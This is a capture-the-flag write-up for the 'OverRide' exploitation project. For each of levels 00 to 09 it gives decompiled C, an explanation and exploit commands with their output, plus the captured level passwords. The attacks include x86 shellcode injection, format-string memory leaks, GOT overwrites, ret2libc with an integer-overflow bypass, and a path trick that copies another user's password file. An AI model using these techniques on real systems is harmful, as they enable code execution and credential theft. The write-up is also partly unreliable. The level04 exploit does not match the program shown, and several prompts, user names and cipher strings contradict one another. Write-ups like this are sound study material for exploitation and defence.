

# ./level00

The terminal window shows the exploit's output:

```
Good luck & Have fun

To start, ssh with level00/level00 on 192.168.xxx.xxx:4242
level00@192.168.xxx.xxx's password: level00

RELRO           STACK CANARY      NX       PIE        RPATH      RUNPATH     FILE
Partial RELRO  No canary found  NX enabled  No PIE    No RPATH   No RUNPATH /home/users/level00/level00
```

In the home directories of the users in the **OverRide** project, each user possesses an executable file formatted as **ELF 32-bit** or **64-bit**. To transfer these files to our local system, we consistently utilized the **scp** command with the following syntax:

```
scp -P 4242 user@192.168.xxx.xxx:filename localfilename
```

We decompiled each file with **Ghidra**. Given that the direct translation from assembly can be nebulous at times, we took the liberty of renaming variables and making slight code adjustments for better readability.

In the different levels of the project, every time we establish an **SSH** connection to a **levelx** user, the terminal presents us with a comprehensive list of security protections:

**RELRO:** Ensures certain memory sections, including the Global Offset Table, are read-only post program initialization, making overwrites tough.

**STACK CANARY:** any small random value placed on the stack to detect buffer overflows. If a buffer overflow occurs, the canary value will likely be overwritten

**NX (No-eXecute):** A CPU feature that designates memory areas as non-executable, hindering exploits relying on executing code from these regions.

**PIE:** Allows executables to operate at various memory addresses, enhancing memory unpredictability when paired with ASLR.

**RPATH/RUNPATH:** ELF binary attributes dictating dynamic library search paths. Misconfigurations can lead to library hijacking.

# ./level00<sup>2</sup>



```
int main(void)
{
    int inputValue;

    puts("*****");
    puts("*          -Level00 -          *");
    puts("*****");
    printf("Password: ");

    scanf("%d", &inputValue);

    if (inputValue != 0x149c) // 5276
    {
        puts("\nInvalid Password!");
    }
    else
    {
        puts("\nAuthenticated!");
        system("/bin/sh");
    }

    return inputValue != 0x149c;
}
```

To successfully enter the conditional `if` statement in the code, the program must receive `5276` as input. If this condition is met, the program spawns a `shell` that allows us to operate as user `level01`.

```
level00@OverRide:~$ {
    python -c 'print("5276")';
    cat <<< "cd ../level01 && cat .pass";
} | ./level00

*****
*          -Level00 -          *
*****
Password:
Authenticated!
uSq2ehEGT6c9S24zbshexZQBXUGrnecx5sD5QfGL

level00@OverRide:~$ su level01
Password: uSq2ehEGT6c9S24zbshexZQBXUGrnecx5sD5QfGL

level01@OverRide:~$
```

# ./level01

```
RELRO           STACK CANARY      NX       PIE      RPATH      RUNPATH     FILE
Partial RELRO  No canary found  NX disabled  No PIE   No RPATH  No RUNPATH /home/users/level01/level01
level01@OverRide:~$
```

Decompiled file with **Ghidra**:

```
char a_user_name[100];

int verify_user_name(void)
{
    puts("verifying username....\n");
    return strncmp(a_user_name, "dat_wil", 7);
}

int verify_user_pass(char *passwordInput)
{
    return strncmp(passwordInput, "admin", 5);
}

int main(void)
{
    char passwordInput[64] = {0};
    int result;

    puts("***** ADMIN LOGIN PROMPT *****\n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    result = verify_user_name();
    if (result == 0)
    {
        puts("Enter Password: \n");
        fgets(passwordInput, 100, stdin);

        result = verify_user_pass(passwordInput);
        if (result == 0 || result != 0)
        {
            puts("nope, incorrect password...\n");
            return EXIT_FAILURE;
        }
        else
            return EXIT_SUCCESS;
    }
    else
    {
        puts("nope, incorrect username...\n");
        return EXIT_FAILURE;
    }
}
```



# ./level01<sup>2</sup>

This program is a mimic of an admin login prompt.

It compares the username input to **dat\_wil** and the password to **admin**. However, due to a logical flaw in the code, even if the **password** is correct, the program will incorrectly inform the user that the **password** is incorrect.

This is because the condition in the if statement **if (result == 0 || result != 0)** will always be true. Therefore, the program will always output **nope, incorrect password...** even for the correct password.

One of the strategies that come to mind is the deployment of a **shellcode**, akin to tactics employed in the Rainfall project. This method involves placing both the correct username **dat\_wil** and the shellcode within the **a\_user\_name** global variable, which is at the address **0x0804a040**.

For the password, the goal is to cause a *buffer overflow* to overwrite the return address of the main function, redirecting it to our shellcode which would then execute starting from the address **0x0804Aa47** (**0x0804a040 + 7** as the username **dat\_wil** has a length of **7** bytes).

```
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level01@OverRide:~$ gdb ./level01

(gdb) run
Starting program: /home/users/level01/level01
***** ADMIN LOGIN PROMPT *****
Enter Username: dat_wil
verifying username.....

Enter Password:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
nope, incorrect password...

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? () << offset = 80

level01@OverRide:~$ {
python -c 'print("dat_wil\x31\xc9\xf7\xe1\x51\x68\...\xe3\xb0\x0b\xcd\x80")';
python -c 'print ("A"*80 + "\x47\x a0\x04\x08")';
cat <<< "cd ../level02 && cat .pass";
} | ./level01

***** ADMIN LOGIN PROMPT *****
Enter Username: verifying username.....

Enter Password:
nope, incorrect password...

PwBLgNa8p8MTKw57S7zxVAQCxnCpV8JqTTs9XEbv

level01@OverRide:~$ su level02
Password: PwBLgNa8p8MTKw57S7zxVAQCxnCpV8JqTTs9XEbv

level02@OverRide:~$
```

# ./level02

```
RELRO           STACK CANARY      NX       PIE        RPATH      RUNPATH     FILE
No RELRO        No canary found  NX disabled  No PIE    No RPATH   No RUNPATH /home/user/level02/level02
level02@OverRide:~$
```

Decompiled file with **Ghidra**:

```
int main(void)
{
    char username[100] = {0};
    char inputPassword[100] = {0};
    char realPassword[41] = {0};
    int bytesRead = 0;
    FILE *passwordFile = NULL;

    passwordFile = fopen("/home/users/level03/.pass", "r");
    if (passwordFile == NULL)
    {
        fprintf("ERROR: failed to open password file\n", 1, 36, stderr);
        exit(EXIT_FAILURE);
    }

    bytesRead = fread(realPassword, 1, 41, passwordFile);
    realPassword[strcspn(realPassword, "\n")] = '\0';
    if (bytesRead != 41)
    {
        fprintf("ERROR: failed to read password file\n", 1, 36, stderr);
        exit(EXIT_FAILURE);
    }
    fclose(passwordFile);

    puts("| You must login to access this system. |");
    printf("--[ Username: ");
    fgets(username, 100, stdin);
    username[strcspn(username, "\n")] = '\0';

    printf("--[ Password: ");
    fgets(inputPassword, 100, stdin);
    inputPassword[strcspn(inputPassword, "\n")] = '\0';
    puts("*****");

    if (!strcmp(realPassword, inputPassword, 41))
    {
        printf("Greetings, %s!\n", username);
        system("/bin/sh");
    }
    else
    {
        printf(username);
        puts(" does not have access!");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}
```



# ./level02<sup>2</sup>

In this challenge, we are presented with a straightforward program that opens the `level03.pass` file, reads its contents, and then stores this data into a **buffer**. The program subsequently prompts the user for a **username** and **password**. If the provided **password** matches the one stored in the file, access to the shell is granted.

At first glance, the expected solution might seem to involve a *buffer overflow*. However, the use of `strcmp` function effectively curtails any straightforward overflow exploitation.

On closer inspection, we noticed that the content of the `.pass` file is read and stored on the stack. Furthermore, the program has an unprotected `printf` function. This becomes our potential point of exploitation.

Using the `%p` format specifier with `printf`, we can disclose memory addresses. By leveraging this capability, we managed to expose the contents of the stack, which includes the **password**. Due to the little-endian memory storage, we had to reverse the exposed data to decipher the actual password, successfully bypassing the authentication mechanism.

```
level02@OverRide:~$ python -c "print 'AAAAAAAAA' + '%p'*28" | ./level02
[ Secure Access System v1.0 ] ====
/*****\
| You must login to access this system. |
\*****/
--[ Username: --[ Password: *****
AAAAAAAAX7fffffe500(nil)(nil)0x2a2a2a2a2a2a0x2a2a2a2a2a2a2a2a
0x7fffffe6f80x1f7ff9a08(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)
(nil)(nil)0x100000000(nil)0x756e5052343768480x45414a35617339510x377a7143574e6758
0x354a35686e4758730x48336750664b394d(nil)0x41414141414141 does not have access!

756e505234376848      unPR47hH    Hh74RPnu
45414a3561733951      EAJ5as9Q    Q9sa5JAE
377a7143574e6758      7zqCWNgX   XgNWcQz7
354a35686e475873      5J5hnGXs   sXGnh5J5
48336750664b394d      H3gPfK9M   M9KfPg3H

level02@OverRide:~$ su level03
Password: Hh74RPnuQ9sa5JAEXgNWcQz7sXGnh5J5M9KfPg3H

level03@OverRide:~$
```

# ./level03

```
RELRO           STACK CANARY      NX          PIE          RPATH        RUNPATH      FILE
Partial RELRO   Canary found    NX enabled   No PIE      No RPATH    No RUNPATH /home/user/level03/level03
level03@OverRide:~$
```

Decompiled file with **Ghidra**:

```
void decrypt(int key)
{
    char cipher[21] = "Q}|u`sf{sf{}|a3";
    size_t len = strlen(cipher);

    for (size_t i = 0; i < len; i++)
        cipher[i] ^= key;

    if (!strcmp(cipher, "Congratulations!"))
        system("/bin/sh");
    else
        puts("Invalid Password!");
}

void test(int arg1, int arg2)
{
    int diff = arg2 - arg1;

    if ((diff > 0 && diff < 22))
        decrypt(diff);
    else
    {
        int randomValue = rand();
        decrypt(randomValue);
    }
}

int main(void)
{
    int userInput;
    srand((unsigned)time(NULL));

    puts("*****");
    puts("*          level03          **");
    puts("*****");
    printf("\nPassword:");
    scanf("%d", &userInput);
    test(userInput, 0x1337d00d);
    return EXIT_SUCCESS;
}
```



# ./level03<sup>2</sup>

This C program is a simple password checker that uses a cryptographic **XOR operation** for validation. It begins by asking for an integer password from the user. Internally, it takes the user input and calculates the difference from the hexadecimal constant `0x1337d00d`. This difference is then used as a **key** to decrypt a hardcoded cipher text.

The valid range for the **key** is limited, as indicated by the conditional checks in the program: it must be between `1` and `21`, inclusive.

If the difference doesn't fall within these ranges, the program will use a **random value** as the **key**, which typically results in decryption failure and an **Invalid Password!** message.

The decryption process involves a bitwise **XOR** operation (exclusive OR), a simple bitwise operation that gives `0` if the bits are the same, and it gives `1` if the bits are different.

The encrypted string in the program is `Q}|u`sfg~sf{}|a3`. If, after being **XORed** with the **key**, it matches **Congratulations!**, the program opens a system **shell**.

To crack the program, we need to *reverse-engineer* the **key** from the known plaintext and the encrypted string. By **XORing** these two strings, we obtain the **key**:

Q		}			u		...		}			a		3		
01010001		01111101		01111100		01110101		...		01111101		01111100		01100001		00110011
C		o		n		g		...		o		n		s		!
01000011		01101111		01101110		01100111				01101111		01101110		01110011		00100001
<hr/>																
00010010		00010010		00010010		00010010				00010010		00010010		00010010		00010010

The key is  $10010_2$  ( $12_{16}$ ) and can then be used to find the correct password: it's the number that, when subtracted from `0x1337d00d`, yields the key.

```
level03@OverRide:~$ {
    python -c 'print str(0x1337d00d - 0x12)';
    echo "cd ../level04 && cat .pass";
} | ./level03

*****
*           level03          *
*****
kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf

level03@OverRide:~$ su level04
Password: kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf

level04@OverRide:~$
```

# ./level04

```
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH /home/user/level04/level04
level04@OverRide:~$
```

Decompiled file with **Ghidra**:

```
int main(void)
{
    pid_t child = fork();
    char buffer[128] = {0};
    int syscall = 0;
    int status = 0;

    if (child == 0)
    {
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        puts("just give me some shellcode, k");
        gets(buffer);
    }
    else
    {
        while (1)
        {
            wait(&status);
            if (WIFEXITED(status) || WIFSIGNALED(status))
            {
                puts("child is exiting...");
                break;
            }

            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);

            if (syscall == 11)
            {
                printf("no exec() for you\n");
                kill(child, SIGKILL);
                break;
            }
        }
    }

    return EXIT_SUCCESS;
}
```

# ./level04<sup>2</sup>

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```
level04@OverRide:~$ gdb ./level04

(gdb) print &m
0x8049810 <m>

level04@OverRide:~$ python -c 'print "\x10\x98\x04\x08" + "%x"*12' | ./level04
00b7ff26b0bfffff794b7fd0ff400bfffff758804848dbfffff550200b7fd1ac0b7ff37d08049810

level04@OverRide:~$ written=$(python -c 'print "\x10\x98\x04\x08" +
    "%x"*11' | ./level04 | wc -c | awk '{print $1-1-8}')

level04@OverRide:~$ { python -c "
print '\x10\x98\x04\x08' + '%x'*10 + '%' + str(0x1025544 - $written) + 'x' + '%n'
" | ./level04
...
0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575caf9ae6d75e9456a

level04@OverRide:~$ su level05
Password: 0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575caf9ae6d75e9456a

level05@OverRide:~$
```



# ./level05

```
● ● ●  
RELRO           STACK CANARY      NX       PIE      RPATH      RUNPATH     FILE  
No RELRO        No canary found  NX disabled  No PIE    No RPATH   No RUNPATH /home/user/level05/level05  
level05@OverRide:~$
```

Decompiled file with **Ghidra**:

```
int main(void)
{
    int i = 0;
    char buffer[100];

    fgets(buffer, 100, stdin);

    int len = strlen(buffer);
    for (i = 0; i < len; i++)
        if (buffer[i] >= 'A' && buffer[i] <= 'Z')
            buffer[i] = buffer[i] ^ 0x20;

    printf(buffer);
    exit(EXIT_SUCCESS);
}
```



This level shares similarities with some levels from the Rainfall project, exploiting a vulnerability with **printf(buffer)**.

Directly changing the return address of the **main** function isn't feasible due to the use of **exit()** rather than **return**, and **fgets()** prevents *buffer overflows*.

The objective is to reroute the **exit** function call to execute our **shellcode**, which will be placed in an environment variable.

This can be accomplished by targeting the **Global Offset Table (GOT)**, which holds the addresses of dynamically linked functions. By modifying the GOT entry for **exit**, we can make it point to our shellcode.

Using Ghidra, we found the GOT entry for **exit** as:

```
080497e0      0c a0 04 08      addr      <EXTERNAL>::exit
```

# ./level05<sup>2</sup>

To ascertain the address of the shellcode, we will use **gdb** with a cleared *environment* to avoid any discrepancies that may arise from environmental variables:

```
level05@OverRide:~$ export SHELLCODE=$(python -c 'print "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
```

```
level05@OverRide:~$ exec env - SHELLCODE=$SHELLCODE gdb -ex 'unset env LINES' -ex 'unset env COLUMNS' --args ./level05
(gdb) break main
Breakpoint 1 at 0x8048449
(gdb) run
Starting program: /home/users/level05/level05

Breakpoint 1, 0x08048449 in main ()
(gdb) x/s *((char **) environ+1)
0xfffffdfbc:      "SHELLCODE=1\311\367\341Qh//shh/bin\211\343\260\v\315\200"
```

The beginning of our shellcode is positioned 10 bytes ahead of **0xfffffdfbc** to account for the length of the string "**SHELLCODE=**", resulting in the starting address being **0xffffdfc6**.

Due to the limitations of using a **printf** width specifier to write such large number directly, we must split the task into two smaller operations. We'll employ the **%hn** specifier to write two separate 16-bit integers. We aim to write the value 57286 (**0xdfc6**) to the lower part of the **exit GOT address** (**0x080497e0**) and the value 65535 (**0xffff**) to the lower part (**0x080497e0 + 2**), due to the little-endian byte order.

```
level05@OverRide:~$ {
python -c '
writeLo = 0xdfc6
writeHi = 0xffff
GOTaddrLo = "\x08\x04\x97\xe0"[:-1]
GOTaddrHi = "\x08\x04\x97\xe2"[:-1]
paddingLo = writeLo - len(GOTaddrLo + GOTaddrHi)
paddingHi = writeHi - writeLo
print GOTaddrLo + GOTaddrHi + "%{}x%10$hn%{}x%11$hn".format(paddingLo, paddingHi)';
echo "cd ../level06 && cat .pass";
} | env - PWD=$PWD SHELLCODE=$SHELLCODE ~/level05

...
7fcfac0
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq

level05@OverRide:~$ su level05
Password: h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq

level06@OverRide:~$
```

**./level05<sup>3</sup>**

# ./level06

```
RELRO           STACK CANARY      NX      PIE      RPATH      RUNPATH     FILE
Partial RELRO   Canary found    NX enabled No PIE   No RPATH   No RUNPATH /home/user/level06/level06
level06@OverRide:~$
```

Decompiled file with **Ghidra**:

```
int auth(char *username, unsigned int serial)
{
    username[strcspn(username, "\n")] = '\0';
    size_t len = strlen(username, 32);

    if (len < 6)
        return 1;

    if (ptrace(PTRACE_TRACE_ME, 0, 1, 0) == -1)
    {
        puts("\x1b[32m-----");
        puts("\x1b[31m| !! TAMPERING DETECTED !! |");
        puts("\x1b[32m-----\x1b[0m");
        return 1;
    }

    unsigned int checksum = (username[3] ^ 0x1337) + 0x5eeded;
    for (int i = 0; i < len; i++)
    {
        if (username[i] < ' ')
            return 1;
        checksum += (username[i] ^ checksum) % 0x539;
    }

    if (serial != checksum)
        return 1;
    return 0;
}

int main(void)
{
    unsigned int serial;
    char username[32];

    puts("*****");
    puts("*          level06          *");
    puts("*****");
    printf("-> Enter Login: ");
    fgets(username, 32, stdin);

    puts("*****");
    puts("***** NEW ACCOUNT DETECTED *****");
    puts("*****");
    printf("-> Enter Serial: ");
    scanf("%u", &serial);

    int ret = auth(username, serial);
    if (ret == 0)
    {
        puts("Authenticated!");
        system("/bin/sh");
    }

    return ret != 0;
}
```



# ./level06<sup>2</sup>

This program is designed as a simple authentication system that uses a **username** and a **serial number** to validate a user.

When executed, it prompts the user for a **username** and a **serial number**, and then attempts to authenticate them based on certain criteria:

Firstly, the program removes any newline character from the end of the **username** and checks that it is at least six characters long. If the **username** is too short, the authentication fails.

Next, the program uses the **ptrace** system call with the **PTRACE\_TRACEME** flag. This is a common way to detect if a program is being debugged; if it is, the program prints a tampering detection message and fails the authentication.

For the actual authentication, the program calculates a **checksum** from the **username**.

The program initializes a checksum by **XOR-ing** the third character of the **username** with **0x1337** and adding **0x5eeded** to it. It then iterates over each character in the **username**, confirming it's printable, and for each character, it **XORs** it with the **checksum**, takes the result modulo **0x539**, and adds it to the **checksum**.

The authentication is successful if the final **checksum** matches the **serial number** provided by the user, at which point the program acknowledges the successful login and grants **shell** access.

To crack this program, we simply need to replicate the checksum calculation using a chosen **username** to generate a matching **serial number** for authentication:

```
#include <stdio.h>
#include <string.h>

int main(int ac, char **av)
{
    size_t len = strlen(av[1]);
    unsigned int checksum = (av[1][3] ^ 0x1337) + 0x5eeded;
    for (int i = 0; i < len; i++)
    {
        if (av[1][i] < ' ')
            return 1;
        checksum += (av[1][i] ^ checksum) % 0x539;
    }

    printf("%u\n", checksum);
}
```

# ./level06³

```
level06@OverRide:~$ ({
    echo '#include <stdio.h>
          #include <string.h>

    int main(int ac, char **av)
    {
        size_t len = strlen(av[1]);
        unsigned int checksum = (av[1][3] ^ 0x1337) + 0x5eeded;
        for (int i = 0; i < len; i++)
        {
            if (av[1][i] < 32)
                return 1;
            checksum += (av[1][i] ^ checksum) % 0x539;
        }

        printf("%u\n", checksum);
    }' > /tmp/findsum.c;
gcc -std=c99 -o /tmp/findsum /tmp/findsum.c;
export username="$USER";
export serial=$(./tmp/findsum $username);
echo $username;
echo $serial;
sleep 0.1;
echo "cd ../level07 && cat .pass && exit";
} | ~/level06)
```

```
*****
*           level06          *
*****
-> Enter Login: *****
***** NEW ACCOUNT DETECTED *****
*****
-> Enter Serial: Authenticated!
```

GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8

```
level06@OverRide:~$ su level07
Password: GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8
```

```
level07@OverRide:~$
```

# ./level07

```
RELRO           STACK CANARY      NX       PIE      RPATH      RUNPATH     FILE
Partial RELRO   Canary found    NX disabled No PIE   No RPATH   No RUNPATH /home/user/level07/level07

level07@OverRide:~$
```

Decompiled file with **Ghidra**:

```
int store_number(unsigned int *data)
{
    printf(" Number: ");
    unsigned int input = get_unum();
    printf(" Index: ");
    unsigned int index = get_unum();

    if (index % 3 == 0 || (input >> 0x18) == 0xb7)
    {
        puts(" *** ERROR! ***");
        puts(" This index is reserved for wil!");
        puts(" *** ERROR! ***");
        return 1;
    }

    data[index] = input;
    return 0;
}

int read_number(unsigned int *data)
{
    printf(" Index: ");
    unsigned int index = get_unum();
    printf(" Number at data[%u] is %u\n", index, data[index]);
    return 0;
}

int main(int argc, char **argv, char **envp)
{
    char command[20] = {0};
    unsigned int data[100] = {0};
    int ret;

    for (int i = 0; envp[i] != NULL; i++)
        memset(envp[i], 0, strlen(envp[i]));
    for (int i = 0; argv[i] != NULL; i++)
        memset(argv[i], 0, strlen(argv[i]));

    puts("-----");
    puts(" Welcome to wil's crappy number storage service! ");
    puts("-----");
    puts(" Commands:");
    puts("   store - store a number into the data storage ");
    puts("   read  - read a number from the data storage ");
    puts("   quit  - exit the program ");
    puts("-----");
    puts("   wil has reserved some storage :> ");
    puts("-----");

    while (1)
    {
        printf("Input command: ");
        fgets(command, sizeof(command), stdin);
        command[strcspn(command, "\n")] = '\0';

        if (!strcmp(command, "store", 5))
            ret = store_number(data);
        else if (!strcmp(command, "read", 4))
            ret = read_number(data);
        else if (!strcmp(command, "quit", 4))
            break;

        if (ret)
            printf(" Failed to do %s command\n", command);
        else
            printf(" Completed %s command successfully\n", command);

        memset(command, 0, sizeof(command));
    }
    return EXIT_SUCCESS;
}
```



# ./level07<sup>2</sup>

This C program presents a basic number storage service that allows users to store and read unsigned integer values into an array. The **main** loop offers an interactive shell-like interface where users input commands to store, read, or quit.

The **store\_number** function captures a **number** and an **index** from the user, but it implements a security check to prevent certain values from being stored: an index divisible by 3 or a number with a significant byte of 0xb7 is considered reserved and triggers an error.

In the **read\_number** function, users can retrieve a value from the array by providing its **index**. Upon start-up, the program clears the **environment variables** and **command-line arguments**, as a security measure to prevent unintended data leakage.

After an extensive period of research and iterative testing, we discovered a viable **exploit**: the vulnerability lies in the program's failure to validate whether the user-supplied **index** is within the bounds of the data array. This oversight enables us to cause a *buffer overflow* in the **main** function, potentially allowing for arbitrary code execution.

In the context of the **exploit**, we use a technique known as **return-to-libc (ret2libc)**.

This method involves overwriting the stack's return address with the address of a library function (in this case, **system**) that we wish to execute, followed by its return address, and finally the address of the command we want to run: **/bin/sh**.

To construct the payload, it would look like this in memory:

[offset to reach overflow] [system() address] [return address] ["/bin/sh" address]

Now, let's look at the program's stack layout:

0xfffffdc50	08 04 8d 4b	00 00 00 00	00 00 00 17	f7 fd c7 14
0xfffffdc60	00 00 00 00	ff ff ff ff	ff ff de e0	ff ff de d8
0xfffffdc70	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xfffffdc80	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xfffffdc90	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xfffffdca0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xfffffdcb0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
...	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xfffffddfc0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xfffffde00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xfffffde10	00 00 00 00	00 00 00 00	00 00 00 00	e3 9e 09 00
0xfffffde20	f7 fe b6 20	00 00 00 00	08 04 8a 09	f7 fc ef f4
0xfffffde30	00 00 00 00	00 00 00 00	00 00 00 00	f7 e4 55 13
0xfffffde40	00 00 00 01	ff ff de d4	ff ff de dc	f7 fd 30 00

data[100]  
command[20]  
return address  
heap metadata

Our input buffer starts at a lower memory address 0xfffffdc74 and the return address is at a higher memory address 0xfffffde3c. The difference between these two addresses is 456 bytes, which corresponds to 114 indices in the data array because each unsigned int is 4 bytes.

So, at index 114 we want to put the **system()** address and at index 116 the **/bin/sh** address.

We're not concerned with what goes into index 115, which would typically be used for the return address in a **system()** call, because it's not necessary for this exploit to succeed.

# ./level07<sup>3</sup>

To determine the specific addresses required for the exploit, we use the **gdb**:

```
(gdb) find __libc_start_main,+999999999,"/bin/sh"  
0xf7f897ec  
(gdb) p system  
$1 = 0xf7e6aed0 <system>
```

So we want to insert `0xf7e6aed0` ( $4160264172_{10}$ ) at index 114 and `0xf7f897ec` ( $4160264172_{10}$ ) at index 116. The problem is that 114 divisible by 3, so we won't be able to pass the security check.

We can bypass that using a integer overflow vulnerability, finding a number not divisible by 3, that when multiplied by 4 gives us the 456 bytes (equivalent to the 114 unsigned ints) needed to reach the return address.

Both `UINT_MAX/2` ( $2^{31}$ ) and `UINT_MAX/4` ( $2^{30}$ ) multiplied by 4, exceed the *unsigned int32* upper bound of  $2^{32}$ . Overflow takes into account the less significant digits; hence by adding 114 to these values, yielding 2147483762 and 1073741938 respectively, and then multiplying by 4, both yield a residue of 456.

+/-	1.073.741.938 in binary																																			
0	1	0	0	1	0	0	0	1	0	0	0	1	0	0	0	1	0	1	1	1	1	0	0	1	0	0	1	0	0	0						
2 <sup>n</sup>	31																																	0		
	-4.294.967.252 in binary																																			
0	0	0	0	1	0	0	0	1	0	0	0	1	0	0	0	1	0	0	0	1	1	1	1	0	0	1	1	0	0	0	0	0	0			
2 <sup>n</sup>	31																																			0

Having bypassed the initial *if* condition, we can now crack the program, causing the shell to spawn.

```
● ● ●  
level07@RainFall:~$ {  
python -c '  
binsh = int("0xf7f897ec", 16)  
system = int("0xf7e6aed0", 16)  
offset = (2 << 30) + 114  
commands = "\n".join(["store", str(binsh), "116", "store", str(system), str(offset), "quit"])  
print(commands);  
echo "cd ../level08 && cat .pass";  
} | ./level07  
  
Input command: Number: Index: Completed store command successfully  
Input command: Number: Index: Completed store command successfully  
  
7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC  
  
level07@RainFall:~$ su level08  
Password: 7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC  
  
level08@RainFall:~$
```

# ./level08

```
RELRO           STACK CANARY      NX       PIE      RPATH      RUNPATH     FILE
Full RELRO      Canary found    NX disabled No PIE   No RPATH   No RUNPATH /home/user/level08/level08
level08@OverRide:~$
```

Decompiled file with **Ghidra**:



```
void log_wrapper(FILE *log_file, char *message, char *filename)
{
    char log_buffer[255] = {0};

    strcpy(log_buffer, message);
    snprintf(log_buffer + strlen(log_buffer), 255 - strlen(log_buffer) - 1, filename);
    log_buffer[strcspn(log_buffer, "\n")] = '\0';
    fprintf(log_file, "LOG: %s\n", log_buffer);
}

int main(int argc, char **argv)
{
    char backup_path[100] = "./backups/";
    FILE *log_file, *source;
    int target;

    if (argc != 2)
        printf("Usage: %s filename\n", argv[0]);

    log_file = fopen("./backups/.log", "w");
    if (log_file == NULL)
    {
        printf("ERROR: Failed to open %s\n", "./backups/.log");
        exit(EXIT_FAILURE);
    }

    log_wrapper(log_file, "Starting back up: ", argv[1]);

    source = fopen(argv[1], "r");
    if (source == NULL)
    {
        printf("ERROR: Failed to open %s\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    strncat(backup_path, argv[1], 100 - strlen(backup_path) - 1);
    target = open(backup_path, O_WRONLY | O_CREAT | O_EXCL, 0600);
    if (target < 0)
    {
        printf("ERROR: Failed to open %s\n", backup_path);
        exit(1);
    }

    int ch;
    while ((ch = fgetc(source)) != EOF)
        write(target, &ch, 1);

    log_wrapper(log_file, "Finished back up ", argv[1]);

    fclose(source);
    close(target);
    return EXIT_SUCCESS;
}
```

# ./level08<sup>2</sup>

This program is designed to perform **backups** of a given file and maintain a **log** of its operations. It is a command-line utility that expects a filename as an argument.

It attempts to open a log file at **./backups/.log** for writing. If the file cannot be opened, the program reports an error and exits with a failure status. Once the log file is opened, the program uses **log\_wrapper** to record the start of the backup process.

Subsequently, the program tries to open the specified source file for reading. If this file is inaccessible, an error is reported, and the program terminates. Upon successful file access, the program prepares the backup file path by appending the source filename to the **./backups/** directory. It takes care to prevent *buffer overflow* in constructing the file path.

The program attempts to create the backup file with appropriate permissions, ensuring it is new (by using **O\_EXCL**). If it cannot open or create the backup file, it reports an error and exits. When the backup file is successfully opened, the program copies the content from the source to the backup file character by character.

After the backup is complete, the program logs this action and then closes both the source and backup files, exiting with a success status.

However, the program does not include functionality to create directories. Therefore, if we want to back up a file located within a nested directory structure (like **/home/users/level09/.pass**), the program will not work unless those directories already exist within the **./backups/** directory.

Since we lack permissions to create new directories within the **./backups/** folder in our **home** directory, backing up files from nested directories is not possible.

This limitation can be circumvented by exploiting the program's use of the relative path **./backups/**

In a directory like **/tmp**, we have the necessary permissions to create our own directory structures. By mirroring the target directory structure under a new backups directory within **/tmp**, it's possible to exploit the relative path handling of the program.

Executing it from within **/tmp** then allows the **.pass** file from the **level09** user's home directory to be backed up into our controlled **backups** location.

```
● ● ●  
level08@OverRide:~$ cd /tmp &&  
mkdir -p backups/home/users/level09 &&  
~/level08 /home/users/level09/.pass &&  
cat backups/home/users/level09/.pass &&  
rm -rf backups
```

```
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBwfHRsP62d8S
```

```
level08@OverRide:~$ su level09  
Password: fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBwfHRsP62d8S
```

```
level09@OverRide:~$
```

# ./level09

```
RELRO           STACK CANARY      NX       PIE        RPATH      RUNPATH     FILE
No RELRO        No canary found  NX disabled  No PIE    No RPATH   No RUNPATH /home/user/level09/level09
level09@OverRide:~$
```

Decompiled file with **Ghidra**:

```
class N
{
public:
    N(int value) : value(value) {}

    int operator+(const N &rhs) { return this->value + rhs.value; }
    void setAnnotation(char *annotation) { strcpy(this->annotation, annotation); }

    char annotation[100];
    int value;
};

void main(int argc, char **argv)
{
    if (argc < 2)
    {
        exit(1);
    }

    N *obj1 = new N(5);
    N *obj2 = new N(6);

    obj1->setAnnotation(argv[1]);
    *obj2 + *obj1;
    return;
}
```



This time the program is written in **C++**.

Within the **main** function, two objects (**obj1** and **obj2**) of class **N** are instantiated on the heap. The **setAnnotation** method of **obj1** is invoked with the first command-line argument. At the end, the overloaded **operator+** method of **obj2** is called.

# ./level09<sup>2</sup>

Looking at the **N::N(int)** constructor in **Ghidra**:

```
void __thiscall N::N(N *this, int param_1)
{
    *(undefined ***)this = &PTR_operator + _08048848;
    *(int *)(this + 0x68) = param_1;
    return;
}
```

it initializes the **vtable** pointer of the object to address `&PTR_operator+_08048848` and sets the object's value field, located 104 bytes (`0x68`) offset from the start. In between, there are the 100 bytes for the annotation.

